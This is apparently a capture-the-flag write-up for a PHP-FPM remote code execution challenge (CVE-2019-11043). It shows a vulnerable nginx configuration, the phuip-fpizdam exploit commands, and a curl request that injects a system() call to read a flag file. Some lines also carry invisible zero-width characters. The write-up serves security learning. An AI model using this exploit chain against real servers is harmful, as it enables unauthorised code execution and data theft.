websrv1_cve1

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: cve_2019_11043, php_fpm_path_info_exploit, phuip_fpizdam

Summary

Task on exploiting the known vulnerability CVE-2019-11043 in PHP-FPM.

websrv1_cve1 — web-kids20

Description

Task on exploiting the known vulnerability CVE-2019-11043 in PHP-FPM.

Analysis

Target URL: https://2019-11-10-fpizdam.ctf.su/79e8d2bdf5aaeaebc95d33c2ecde7da5/index.php

CVE-2019-11043 is a critical vulnerability in PHP-FPM (FastCGI Process Manager) that allows remote code execution. The vulnerability occurs with a specific nginx configuration with PHP-FPM when the fastcgi_split_path_info directive is used with a regular expression that incorrectly handles PATH_INFO. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A vulnerable nginx configuration looks something like this:

 nginx read-only • copy allowed Copy
location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    fastcgi_pass php:9000;
    ...
}

By sending specially crafted requests with newlines in the URL, an attacker can overwrite PHP-FPM environment variables and achieve arbitrary code execution.

Solution

Step 1: Using phuip-fpizdam

phuip-fpizdam is a Go tool for exploiting CVE-2019-11043. It automatically finds the attack parameters (QSL and PISOS). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Install the tool
go get github.com/neex/phuip-fpizdam

# Run the exploit
phuip-fpizdam https://2019-11-10-fpizdam.ctf.su/79e8d2bdf5aaeaebc95d33c2ecde7da5/index.php

Step 2: Discovering parameters

The tool discovered working parameters:

• QSL (Query String Length) = 1740
• PISOS = 201

These parameters define the query string length and offset required for successful exploitation.

Step 3: Executing commands

After successful exploitation, it becomes possible to execute arbitrary PHP code via the ?a= parameter: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Read the flag
curl "https://2019-11-10-fpizdam.ctf.su/79e8d2bdf5aaeaebc95d33c2ecde7da5/index.php?a=system('cat /var/www/html/flag.txt');"

Step 4: Getting the flag

The command returned the contents of the flag file.

References

• CVE-2019-11043
• phuip-fpizdam
• PHP Bug #78599 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍